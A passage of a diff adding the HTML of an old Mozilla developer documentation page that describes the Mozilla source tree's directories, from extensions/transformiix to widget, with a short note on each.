+        <h3 id="extensionstransformiix"><span>extensions/transformiix</span></h3>
+        <div class="editIcon">
+          <h3 id="sect15"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=42"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>XSLT support. XSL Transformations is a language used to transform XML documents into other XML documents. See <a class="external" href="http://www.mozilla.org/projects/xslt/" rel="external" title="http://www.mozilla.org/projects/xslt/">XSL Transformations</a>.</p>
+      </div>
+      <div id="section_43">
+        <h3 id="extensionstridentprofile"><span>extensions/tridentprofile</span></h3>
+        <div class="editIcon">
+          <h3 id="sect16"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=43"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Support for importing profiles from MSIE.</p>
+      </div>
+      <div id="section_44">
+        <h3 id="extensionstypeaheadfind"><span>extensions/typeaheadfind</span></h3>
+        <div class="editIcon">
+          <h3 id="sect17"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=44"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Find As You Type allows quick web page navigation when you type a succession of characters in the body of the displayed page. See <a class="external" href="http://www.mozilla.org/projects/ui/accessibility/typeaheadfind.html" rel="external" title="http://www.mozilla.org/projects/ui/accessibility/typeaheadfind.html">Find As You Type</a>.</p>
+      </div>
+      <div id="section_45">
+        <h3 id="extensionsuniversalchardet"><span>extensions/universalchardet</span></h3>
+        <div class="editIcon">
+          <h3 id="sect18"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=45"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Universal character set detector.</p>
+      </div>
+      <div id="section_46">
+        <h3 id="extensionsvenkman"><span>extensions/venkman</span></h3>
+        <div class="editIcon">
+          <h3 id="sect19"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=46"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>The <a href="/en-US/docs/Venkman" title="Venkman">JavaScript Debugger</a>.</p>
+      </div>
+      <div id="section_47">
+        <h3 id="extensionswallet"><span>extensions/wallet</span></h3>
+        <div class="editIcon">
+          <h3 id="sect20"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=47"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Password and Form Manager.</p>
+      </div>
+      <div id="section_48">
+        <h3 id="extensionswebdav"><span>extensions/webdav</span></h3>
+        <div class="editIcon">
+          <h3 id="sect21"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=48"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>WebDAV code; exposes special APIs for accessing WebDAV servers. Used by the Calendar project.</p>
+      </div>
+      <div id="section_49">
+        <h3 id="extensionswebservices"><span>extensions/webservices</span></h3>
+        <div class="editIcon">
+          <h3 id="sect22"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=49"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Support for Webservices. See <a class="external" href="http://www.mozilla.org/projects/webservices/" rel="external" title="http://www.mozilla.org/projects/webservices/">Web Services</a>.</p>
+      </div>
+      <div id="section_50">
+        <h3 id="extensionsxforms"><span>extensions/xforms</span></h3>
+        <div class="editIcon">
+          <h3 id="sect23"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=50"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Code for the XForms extension. See <a class="external" href="http://www.mozilla.org/projects/xforms/" rel="external" title="http://www.mozilla.org/projects/xforms/">XForms</a>.</p>
+      </div>
+      <div id="section_51">
+        <h3 id="extensionsxmlextras"><span>extensions/xmlextras</span></h3>
+        <div class="editIcon">
+          <h3 id="sect24"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=51"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Several XML-related extensions. See <a href="/en-US/docs/XML_Extras" title="XML_Extras">XML Extras</a>.</p>
+      </div>
+      <div id="section_52">
+        <h3 id="extensionsxml-rpc"><span>extensions/xml-rpc</span></h3>
+        <div class="editIcon">
+          <h3 id="sect25"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=52"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>XML Remote Procedure Calls. Unowned these days. See <a class="external" href="http://www.mozilla.org/projects/xmlrpc/" rel="external" title="http://www.mozilla.org/projects/xmlrpc/">XML-RPC in Mozilla</a>.</p>
+      </div>
+      <div id="section_53">
+        <h3 id="extensionsxmlterm"><span>extensions/xmlterm</span></h3>
+        <div class="editIcon">
+          <h3 id="sect26"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=53"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>XMLTerm, a terminal implemented using mozilla technology. Only available on GTK builds.</p>
+      </div>
+    </div>
+    <div id="section_54">
+      <h2 id="gc"><span>gc</span></h2>
+      <div class="editIcon">
+        <h2 id="sect27"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=54"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Container for garbage collection libraries, currently only boehm GC.</p>
+    </div>
+    <div id="section_55">
+      <h2 id="gfx"><span>gfx</span></h2>
+      <div class="editIcon">
+        <h2 id="sect28"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=55"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Contains interfaces that abstract the capabilities of platform specific graphics toolkits, along with implementations on various platforms. These interfaces provide methods for things like drawing images, text, and basic shapes. It also contains basic data structures such as points and rectangles used here and in other parts of Mozilla.</p>
+      <p>It is also the home of the new graphics architecture based on cairo (via a C++ wrapper called thebes). See <a class="external" href="http://wiki.mozilla.org/Mozilla2:NewGFXAPIs" rel="external" title="http://wiki.mozilla.org/Mozilla2:NewGFXAPIs">NewGFXAPIs</a> and <a class="external" href="http://wiki.mozilla.org/Mozilla2:GFXEvolution" rel="external" title="http://wiki.mozilla.org/Mozilla2:GFXEvolution">GFXEvolution</a>.</p>
+    </div>
+    <div id="section_56">
+      <h2 id="image"><span>image</span></h2>
+      <div class="editIcon">
+        <h2 id="sect29"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=56"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Image rendering library. Contains decoders for the image formats mozilla supports.</p>
+    </div>
+    <div id="section_57">
+      <h2 id="intl"><span>intl</span></h2>
+      <div class="editIcon">
+        <h2 id="sect30"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=57"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Internationalization and localization support. See <a class="external" href="http://www.mozilla.org/projects/intl/index.html" rel="external" title="http://www.mozilla.org/projects/intl/index.html">Internationalisation Projects</a>.</p>
+      <dl>
+        <dt>
+          bidi</dt>
+        <dd>
+          Obsolete.</dd>
+        <dt>
+          chardet</dt>
+        <dd>
+          Code for "sniffing" the character encoding of Web pages.</dd>
+        <dt>
+          ctl</dt>
+        <dd>
+          Code for dealing with Complex Text Layout, related to shaping of south Asian languages (not built by default, needs <code>--enable-ctl</code>).</dd>
+        <dt>
+          locale</dt>
+        <dd>
+          Code related to determination of locale information from the operating environment.</dd>
+        <dt>
+          lwbrk</dt>
+        <dd>
+          Code related to line breaking and word breaking.</dd>
+        <dt>
+          strres</dt>
+        <dd>
+          Code related to string resources used for localization.</dd>
+        <dt>
+          uconv</dt>
+        <dd>
+          Code that converts (both ways: encoders and decoders) between UTF-16 and many other character encodings.</dd>
+        <dt>
+          unicharutil</dt>
+        <dd>
+          Code related to implementation of various algorithms for Unicode text, such as case conversion.</dd>
+      </dl>
+    </div>
+    <div id="section_58">
+      <h2 id="ipc"><span>ipc</span></h2>
+      <div class="editIcon">
+        <h2 id="sect31"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=58"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Container for implementations of IPC (Inter-Process Communication) mechanisms.</p>
+    </div>
+    <div id="section_59">
+      <h2 id="ipcipcd"><span>ipc/ipcd</span></h2>
+      <div class="editIcon">
+        <h2 id="sect32"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=59"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>The IPC daemon that is used for communication between several mozilla processes to support profile sharing. (Note that at the time of this writing (Dec 2005), profile sharing is not supported by mozilla).</p>
+    </div>
+    <div id="section_60">
+      <h2 id="jpeg"><span>jpeg</span></h2>
+      <div class="editIcon">
+        <h2 id="sect33"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=60"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Source code of libjpeg, used by the mozilla image library.</p>
+    </div>
+    <div id="section_61">
+      <h2 id="jssrc"><span>js/src</span></h2>
+      <div class="editIcon">
+        <h2 id="sect34"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=61"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>The JavaScript engine, also known as <a class="link-https" href="https://wiki.mozilla.org/JavaScript" rel="external" title="https://wiki.mozilla.org/JavaScript">SpiderMonkey</a>. See also <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>.</p>
+    </div>
+    <div id="section_62">
+      <h2 id="jsjsd"><span>js/jsd</span></h2>
+      <div class="editIcon">
+        <h2 id="sect35"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=62"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>JavaScript debugging library. See <a class="external" href="http://www.mozilla.org/js/jsd/" rel="external" title="http://www.mozilla.org/js/jsd/">JavaScript Debugging</a>.</p>
+    </div>
+    <div id="section_63">
+      <h2 id="jssrcxpconnect"><span>js/src/xpconnect</span></h2>
+      <div class="editIcon">
+        <h2 id="sect36"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=63"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Support code for calling JavaScript code from C++ code and C++ code from JavaScript code, using XPCOM interfaces. See <a href="/en-US/docs/XPConnect" title="XPConnect">XPConnect</a>].</p>
+    </div>
+    <div id="section_64">
+      <h2 id="jssrcliveconnect"><span>js/src/liveconnect</span></h2>
+      <div class="editIcon">
+        <h2 id="sect37"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=64"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Liveconnect, the bridge between JavaScript and Java. See <a href="/en-US/docs/JavaScript/Guide/LiveConnect_Overview" title="JavaScript/Guide/LiveConnect_Overview">LiveConnect Overview</a>.</p>
+    </div>
+    <div id="section_65">
+      <h2 id="l10n"><span>l10n</span></h2>
+      <div class="editIcon">
+        <h2 id="sect38"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=65"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Basically empty and not used by the mozilla build.</p>
+    </div>
+    <div id="section_66">
+      <h2 id="layout"><span>layout</span></h2>
+      <div class="editIcon">
+        <h2 id="sect39"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=66"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Code that implements a tree of rendering objects that describe the types and locations of the objects that are displayed on the screen (such as CSS boxes, tables, form controls, XUL boxes, etc.), and code that manages operations over that rendering tree (such as creating and destroying it, doing layout, painting, and event handling). See <a class="external" href="http://www.mozilla.org/newlayout/doc/" rel="external" title="http://www.mozilla.org/newlayout/doc/">documentation</a> and <a class="external" href="http://www.mozilla.org/newlayout/" rel="external" title="http://www.mozilla.org/newlayout/">other information</a>.</p>
+      <dl>
+        <dt>
+          base</dt>
+        <dd>
+          Code that deals with the rendering tree.</dd>
+        <dt>
+          generic</dt>
+        <dd>
+          The basic rendering object interface and the rendering tree objects for basic CSS boxes.</dd>
+        <dt>
+          forms</dt>
+        <dd>
+          Rendering tree objects for HTML form controls.</dd>
+        <dt>
+          tables</dt>
+        <dd>
+          Rendering tree objects for CSS/HTML tables</dd>
+        <dt>
+          mathml</dt>
+        <dd>
+          Rendering tree objects for <a href="/en-US/docs/MathML" title="MathML">MathML</a>.</dd>
+        <dt>
+          svg</dt>
+        <dd>
+          Rendering tree objects for <a href="/en-US/docs/SVG" title="SVG">SVG</a>.</dd>
+        <dt>
+          xul</dt>
+        <dd>
+          Additional rendering object interfaces for <a href="/en-US/docs/XUL" title="XUL">XUL</a> and the rendering tree objects for XUL boxes.</dd>
+      </dl>
+    </div>
+    <div id="section_67">
+      <h2 id="lib"><span>lib</span></h2>
+      <div class="editIcon">
+        <h2 id="sect40"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=67"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Mostly unused; might be used on mac?</p>
+    </div>
+    <div id="section_68">
+      <h2 id="mail"><span>mail</span></h2>
+      <div class="editIcon">
+        <h2 id="sect41"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=68"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Thunderbird frontend files. Note that many thunderbird files are shared with Mozilla Mailnews and can be found under <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#mailnews">mailnews</a>/.</p>
+    </div>
+    <div id="section_69">
+      <h2 id="mailnews"><span>mailnews</span></h2>
+      <div class="editIcon">
+        <h2 id="sect42"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=69"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>The mail and news backend code (e.g. code that manages folders, manages databases, or interacts with mail servers) and the frontend code for the SeaMonkey mail client, some of which is shared by Thunderbird.</p>
+    </div>
+    <div id="section_70">
+      <h2 id="moduleslibimg"><span>modules/libimg</span></h2>
+      <div class="editIcon">
+        <h2 id="sect43"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=70"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Contains libpng, used by the image library for PNG Image decoding.</p>
+    </div>
+    <div id="section_71">
+      <h2 id="moduleslibjar"><span>modules/libjar</span></h2>
+      <div class="editIcon">
+        <h2 id="sect44"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=71"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Code to read zip files, used for reading the .jar files that contain the files for the mozilla frontend.</p>
+    </div>
+    <div id="section_72">
+      <h2 id="moduleslibpref"><span>modules/libpref</span></h2>
+      <div class="editIcon">
+        <h2 id="sect45"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=72"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Library for reading and writing preferences.</p>
+    </div>
+    <div id="section_73">
+      <h2 id="moduleslibreg"><span>modules/libreg</span></h2>
+      <div class="editIcon">
+        <h2 id="sect46"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=73"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Library for reading the netscape binary registry files, used for the <code>~/.mozilla/appreg</code> file (<code>registry.dat</code> on windows).</p>
+    </div>
+    <div id="section_74">
+      <h2 id="modulesoji"><span>modules/oji</span></h2>
+      <div class="editIcon">
+        <h2 id="sect47"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=74"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Support for the Java plugin (a bridge for plugging-in generic Java VMs). See <a class="external" href="http://www.mozilla.org/oji/" rel="external" title="http://www.mozilla.org/oji/">Open JVM Integration (OJI)</a>.</p>
+      <p><em>Note: OJI may be removed from Mozilla 2.0 according to <a class="external" href="http://boomswaggerboom.wordpress.com/2007/04/16/javaplugin-cleanup-for-mozilla-20/" rel="external" title="http://boomswaggerboom.wordpress.com/2007/04/16/javaplugin-cleanup-for-mozilla-20/">this post by Josh</a>.</em></p>
+    </div>
+    <div id="section_75">
+      <h2 id="modulesplugin"><span>modules/plugin</span></h2>
+      <div class="editIcon">
+        <h2 id="sect48"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=75"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Plugin support. Implements the Netscape Plugin API (NPAPI). See <a href="/en-US/docs/Plugins" title="Plugins">Plugins</a>.</p>
+    </div>
+    <div id="section_76">
+      <h2 id="modulesstaticmod"><span>modules/staticmod</span></h2>
+      <div class="editIcon">
+        <h2 id="sect49"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=76"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Helper files for static mozilla builds.</p>
+    </div>
+    <div id="section_77">
+      <h2 id="moduleszlib"><span>modules/zlib</span></h2>
+      <div class="editIcon">
+        <h2 id="sect50"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=77"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Source code of zlib, used at least in the networking library for compressed transfers.</p>
+    </div>
+    <div id="section_78">
+      <h2 id="netwerk"><span>netwerk</span></h2>
+      <div class="editIcon">
+        <h2 id="sect51"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=78"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p><a href="/en-US/docs/Necko" title="Necko">Networking library</a>, also known as Necko. Responsible for doing actual transfers from and to servers, as well as for URI handling and related stuff. See also <a class="external" href="http://www.mozilla.org/projects/netlib/" rel="external" title="http://www.mozilla.org/projects/netlib/">Network library documentation</a>.</p>
+    </div>
+    <div id="section_79">
+      <h2 id="nsprpub"><span>nsprpub</span></h2>
+      <div class="editIcon">
+        <h2 id="sect52"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=79"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Netscape Portable Runtime. Used as an abstraction layer to things like threads, file I/O and socket I/O. See <a class="external" href="http://www.mozilla.org/projects/nspr/" rel="external" title="http://www.mozilla.org/projects/nspr/">Netscape Portable Runtime</a>.</p>
+    </div>
+    <div id="section_80">
+      <h2 id="other-licenses"><span>other-licenses</span></h2>
+      <div class="editIcon">
+        <h2 id="sect53"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=80"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Contains libraries that are not covered by the MPL but used in some mozilla code.</p>
+    </div>
+    <div id="section_81">
+      <h2 id="parserexpat"><span>parser/expat</span></h2>
+      <div class="editIcon">
+        <h2 id="sect54"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=81"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Copy of the expat source code, which is the XML parser used by mozilla.</p>
+    </div>
+    <div id="section_82">
+      <h2 id="parserhtmlparser"><span>parser/htmlparser</span></h2>
+      <div class="editIcon">
+        <h2 id="sect55"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=82"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Contains the html parser used by Mozilla, which parses HTML source code and calls the appropriate methods on a content sink.</p>
+    </div>
+    <div id="section_83">
+      <h2 id="profile"><span>profile</span></h2>
+      <div class="editIcon">
+        <h2 id="sect56"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=83"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Code for profile handling, the profile manager backend and frontend.</p>
+    </div>
+    <div id="section_84">
+      <h2 id="rdf"><span>rdf</span></h2>
+      <div class="editIcon">
+        <h2 id="sect57"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=84"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>RDF handling APIs. See <a href="/en-US/docs/RDF" title="RDF">RDF</a> and <a class="external" href="http://www.mozilla.org/rdf/doc/" rel="external" title="http://www.mozilla.org/rdf/doc/">RDF</a>.</p>
+      <p>Also contains the chrome registry code used by SeaMonkey, although toolkit apps (such as Firefox and Thunderbird) use the copy forked into <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#chrome">chrome</a>.</p>
+    </div>
+    <div id="section_85">
+      <h2 id="security"><span>security</span></h2>
+      <div class="editIcon">
+        <h2 id="sect58"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=85"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Contains NSS and PSM, to support cryptographic functions in mozilla (like S/MIME, SSL, etc). See <a class="external" href="http://www.mozilla.org/projects/security/pki/nss/" rel="external" title="http://www.mozilla.org/projects/security/pki/nss/">Network Security Services (NSS)</a> and <a class="external" href="http://www.mozilla.org/projects/security/pki/psm/" rel="external" title="http://www.mozilla.org/projects/security/pki/psm/">Personal Security Manager (PSM)</a>.</p>
+    </div>
+    <div id="section_86">
+      <h2 id="storage"><span>storage</span></h2>
+      <div class="editIcon">
+        <h2 id="sect59"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=86"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p><a href="/en-US/docs/Storage" title="Storage">Storage</a>: XPCOM wrapper for sqlite. Wants to unify storage of all profile-related data. Supersedes mork. See also <a class="external" href="http://wiki.mozilla.org/Mozilla2:Unified_Storage" rel="external" title="http://wiki.mozilla.org/Mozilla2:Unified_Storage">Unified Storage</a>.</p>
+    </div>
+    <div id="section_87">
+      <h2 id="suite"><span>suite</span></h2>
+      <div class="editIcon">
+        <h2 id="sect60"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=87"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Newer parts of SeaMonkey-specific code. Older parts live in <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#xpfe">xpfe</a>/.</p>
+    </div>
+    <div id="section_88">
+      <h2 id="themes"><span>themes</span></h2>
+      <div class="editIcon">
+        <h2 id="sect61"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=88"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Contains the themes shipped with SeaMonkey. Classic and Modern at the time of this writing.</p>
+    </div>
+    <div id="section_89">
+      <h2 id="toolkit"><span>toolkit</span></h2>
+      <div class="editIcon">
+        <h2 id="sect62"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=89"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>The "new toolkit" used by Thunderbird, Firefox, etc. This contains numerous front-end components shared between applications as well as most of the XBL-implemented parts of the XUL language (most of which was originally forked from versions in <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#xpfe">xpfe</a>/).</p>
+    </div>
+    <div id="section_90">
+      <h2 id="tools"><span>tools</span></h2>
+      <div class="editIcon">
+        <h2 id="sect63"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=90"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Some tools which are optionally built during the mozilla build process, mostly used for debugging.</p>
+    </div>
+    <div id="section_91">
+      <h2 id="uriloaderbase"><span>uriloader/base</span></h2>
+      <div class="editIcon">
+        <h2 id="sect64"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=91"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Content dispatch in Mozilla. Used to load uris and find an appropriate content listener for the data. Also manages web progress notifications. See <a class="external" href="http://www.mozilla.org/docs/docshell/uri-load-start.html" rel="external" title="http://www.mozilla.org/docs/docshell/uri-load-start.html">Document Loading: From Load Start to Finding a Handler</a> and <a class="external" href="http://www.mozilla.org/docs/url_load.html" rel="external" title="http://www.mozilla.org/docs/url_load.html">The Life Of An HTML HTTP Request</a>.</p>
+    </div>
+    <div id="section_92">
+      <h2 id="uriloaderexthandler"><span>uriloader/exthandler</span></h2>
+      <div class="editIcon">
+        <h2 id="sect65"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=92"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Used to handle content that Mozilla can't handle itself. Responsible for showing the helper app dialog, and generally for finding information about helper applications.</p>
+    </div>
+    <div id="section_93">
+      <h2 id="uriloaderprefetch"><span>uriloader/prefetch</span></h2>
+      <div class="editIcon">
+        <h2 id="sect66"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=93"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>Service to prefetch documents in order to have them cached for faster loading.</p>
+    </div>
+    <div id="section_94">
+      <h2 id="view"><span>view</span></h2>
+      <div class="editIcon">
+        <h2 id="sect67"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=94"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
+      <p>View manager. Contains cross-platform code used for painting, scrolling, event handling, z-ordering, and opacity. Soon to become obsolete, gradually.</p>
+    </div>
+    <div id="section_95">
+      <h2 id="widget"><span>widget</span></h2>
+      <div class="editIcon">
+        <h2 id="sect68"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=95"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h2>
+      </div>
